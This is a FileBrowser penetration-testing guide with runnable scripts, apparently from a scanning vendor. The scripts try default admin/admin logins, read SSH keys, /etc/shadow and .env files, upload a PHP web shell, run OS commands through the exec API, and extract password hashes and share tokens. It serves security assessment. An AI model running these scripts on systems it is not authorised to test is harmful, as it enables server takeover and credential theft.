FileBrowser Security Testing: Default Credentials, API Key, Database, and Root Path

FileBrowser is one of the most widely deployed self-hosted web file managers — it provides a browser-based interface for managing files on a server. Key assessment areas: FileBrowser ships with admin/admin as default credentials; authenticated users can upload arbitrary files to the configured root path which frequently includes web-serving directories; the root path scope is critical — if set to / the entire server filesystem is accessible; and the exec commands feature in some configurations allows arbitrary OS command execution from the web UI. This guide covers systematic FileBrowser security assessment.

Table of Contents

  1. Default Credential Testing and JWT Token Extraction
  2. File System Enumeration and Arbitrary File Upload
  3. Database and Configuration Extraction
  4. FileBrowser Security Hardening

Default Credential Testing and JWT Token Extraction

# FileBrowser — default credential testing and JWT token extraction
FB_URL="https://files.example.com"

# FileBrowser default credentials — admin/admin on fresh install
for CRED in "admin:admin" "admin:password" "admin:filebrowser" "user:user"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  TOKEN=$(curl -s -X POST "${FB_URL}/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null | tr -d '"')
  if [ ${#TOKEN} -gt 20 ]; then
    echo "SUCCESS: ${USER}/${PASS}"
    echo "  JWT: ${TOKEN:0:30}..."
    # Decode JWT payload (no signature verification)
    python3 -c "
import base64, json
payload = '${TOKEN}'.split('.')[1] + '=='
d = json.loads(base64.b64decode(payload).decode())
print(f'  user={d.get(\"user\")} exp={d.get(\"exp\")} created={d.get(\"iat\")}')
" 2>/dev/null
  else
    echo "FAIL: ${USER}/${PASS} (${TOKEN:0:30})"
  fi
done

# Check share tokens — unauthenticated file access
# FileBrowser share links are accessible without credentials
curl -s "${FB_URL}/api/public/share/SHARE_TOKEN" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Share: path={d.get(\"path\")} name={d.get(\"name\")}')
" 2>/dev/null

File System Enumeration and Arbitrary File Upload

# FileBrowser — file system enumeration and arbitrary file upload
FB_URL="https://files.example.com"
FB_TOKEN="your-jwt-token"

# List root directory
curl -s "${FB_URL}/api/resources/" \
  -H "X-Auth: ${FB_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Root path: {d.get(\"path\")}')
items = d.get('items',[])
print(f'Items in root: {len(items)}')
for item in items[:15]:
    print(f'  [{\"D\" if item.get(\"isDir\") else \"F\"}] {item.get(\"name\")} size={item.get(\"size\")}')
" 2>/dev/null

# Read sensitive files — .env, config files, SSH keys
for SENSITIVE_PATH in ".env" ".ssh/id_rsa" "etc/passwd" "etc/shadow" \
    "var/www/html/.env" "app/.env" "config.php" ".htpasswd"; do
  RESULT=$(curl -s "${FB_URL}/api/raw/${SENSITIVE_PATH}" \
    -H "X-Auth: ${FB_TOKEN}" -o /tmp/fb_file -w "%{http_code}" 2>/dev/null)
  [ "$RESULT" = "200" ] && {
    SIZE=$(wc -c < /tmp/fb_file)
    echo "FOUND: ${SENSITIVE_PATH} (${SIZE} bytes)"
    head -5 /tmp/fb_file
  }
done

# Arbitrary file upload — including web shell
# Upload a PHP web shell if root includes a web-served directory
WEB_SHELL=''
curl -s -X POST "${FB_URL}/api/resources/webshell.php?override=true" \
  -H "X-Auth: ${FB_TOKEN}" \
  -H "Content-Type: application/octet-stream" \
  -d "$WEB_SHELL" 2>/dev/null
# If root path includes /var/www/html or /srv/http, web shell is immediately executable

# Exec commands (if enabled in FileBrowser settings)
curl -s -X POST "${FB_URL}/api/command/" \
  -H "X-Auth: ${FB_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"command":"id"}' 2>/dev/null
# Returns OS command output if exec is enabled

Database and Configuration Extraction

# FileBrowser database and configuration extraction

# FileBrowser stores config in database.db (SQLite) or settings.json
find / -name "database.db" -path "*/filebrowser/*" 2>/dev/null | head -5
find / -name ".filebrowser.json" 2>/dev/null | head -5

# SQLite database — users and settings
DB_PATH="/config/database.db"  # or /data/database.db
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
-- All users
SELECT id, username,
       password,   -- bcrypt hash
       scope,      -- root path for this user (! = global root)
       perm,       -- JSON permissions object
       created,
       modified
FROM users
ORDER BY id;
EOF
-- scope '.' or '/' = access to the configured root
-- perm JSON contains: admin, download, delete, rename, modify, create, share, execute

-- Global settings
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT key, value FROM settings;
EOF
-- key 'commands' = exec commands enabled if non-empty
-- key 'root' = configured root path
-- key 'auth.method' = authentication method

-- Share tokens (unauthenticated access)
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT hash, path, expire, user_id
FROM share
WHERE expire = 0 OR expire > strftime('%s','now');
EOF
-- hash = share token, expire=0 = never expires
-- GET /api/public/share/{hash} requires no authentication

# Docker environment
docker inspect filebrowser 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        print(e)
    for m in c.get('Mounts',[]):
        print(f'Volume: {m.get(\"Source\")} -> {m.get(\"Destination\")}')
        # Source mapped to / or /srv = full host access
" 2>/dev/null

FileBrowser Security Hardening

FileBrowser Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credential testingPOST /api/login with admin/admin — JWT token for full admin access; file system read/write/delete within root path; user management; settings modification; exec command execution if enabledCritical
Root path scope assessment and sensitive file accessGET /api/resources/ to enumerate root; GET /api/raw/ for specific paths — if root=/ entire server filesystem accessible; .env files, SSH keys, /etc/passwd, application configs all readableCritical
Arbitrary file upload for web shell deploymentPOST /api/resources/shell.php?override=true — upload PHP/Python/Perl web shell; if root includes web-served directory, immediate RCE via web shell; override=true overwrites existing filesCritical
Exec command execution via APIPOST /api/command/ — if commands configured and execute permission granted, arbitrary OS command execution; server compromise from web UI actionCritical
Unauthenticated share link file accessGET /api/public/share/{hash} — share links bypass authentication; never-expiring shares (expire=0) provide permanent unauthenticated access to shared pathsHigh

Automate FileBrowser Security Testing

Ironimo tests FileBrowser deployments for default admin/admin credential testing, root path scope assessment and sensitive file enumeration (.env, SSH keys, /etc/passwd), arbitrary file upload capability testing including web shell paths, exec command API availability and execution, unauthenticated share link enumeration from database.db, SQLite user table bcrypt hash extraction, Docker bind mount scope analysis, settings.json root path disclosure, JWT token analysis and expiry assessment, and non-expiring share link identification.

Start free scan